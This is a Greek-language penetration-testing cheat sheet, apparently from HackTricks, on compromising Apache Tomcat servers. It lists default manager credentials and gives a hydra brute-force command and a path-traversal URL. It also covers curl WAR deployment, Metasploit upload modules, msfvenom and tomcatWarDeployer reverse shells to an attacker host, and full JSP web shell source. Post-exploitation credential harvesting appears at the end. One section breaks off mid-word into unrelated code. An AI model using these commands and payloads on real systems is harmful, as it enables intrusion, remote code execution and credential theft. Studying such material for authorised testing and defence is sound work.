Tomcat

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Try Hard Security Group


Ανακάλυψη

  • Συνήθως λειτουργεί στη θύρα 8080

  • Κοινό σφάλμα Tomcat:

Απαρίθμηση

Αναγνώριση Έκδοσης

Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί ένα απλό πρόγραμμα:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Τοποθεσία Αρχείων Διαχειριστή

Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων /manager και /host-manager είναι κρίσιμος καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση με βία για την εντοπισμό αυτών των σελίδων.

Απαρίθμηση Ονομάτων Χρηστών

Για τις εκδόσεις Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:

msf> use auxiliary/scanner/http/tomcat_enum

Προεπιλεγμένα Διαπιστευτήρια

Ο κατάλογος /manager/html είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει τη μεταφόρτωση και αναπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο κατάλογος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Ένας άλλος σημαντικός κατάλογος είναι /manager/status, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στον εντοπισμό ευπαθειών.

Επίθεση Βίας

Για να δοκιμάσετε μια επίθεση βίας στον κατάλογο του διαχειριστή, μπορείτε να χρησιμοποιήσετε:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Κοινές Ευπάθειες

Αποκάλυψη Κωδικού Πρόσβασης με Ανίχνευση Ανάκλησης

Η πρόσβαση στο /auth.jsp μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση ανάκλησης υπό ευνοϊκές συνθήκες.

Διπλή Κωδικοποίηση URL

Η ευπάθεια CVE-2007-1860 στο mod_jk επιτρέπει τη διπλή κωδικοποίηση URL για τη διέλευση διαδρομής, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.

Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat πηγαίνετε στο: pathTomcat/%252E%252E/manager/html

/παραδείγματα

Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδειγματικά scripts που είναι ευάλωτα σε αποκάλυψη πληροφορι

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Αντίστροφο Shell

  1. Δημιουργία του πολέμου για αναπτυξη:

msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

Ανέβασε το αρχείο revshell.war και έχε πρόσβαση σε αυτό (/revshell/):

Δέσε και ανάστροφο κέλυφος με το tomcatWarDeployer.py

Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun)

Λήψη

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Αντίστροφη κέλυφωση

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Δέστε το κέλυφος

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Χρησιμοποιώντας το Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Χειροκίνητη μέθοδος - Web shell

Δημιουργήστε το index.jsp με το ακόλουθο περιεχόμενο:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Μεθοδος Χειροκίνητη 2

Λάβετε ένα JSP web shell όπως αυτό και δημιουργήστε ένα αρχείο WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Το όνομα του αρχείου διαπιστευτήριων του Tomcat είναι tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Άλλοι τρόποι για τη συλλογή διαπιστευτήριων Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Άλλα εργαλεία σάρωσης tomcat

Αναφορές

Try Hard Security Group

Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated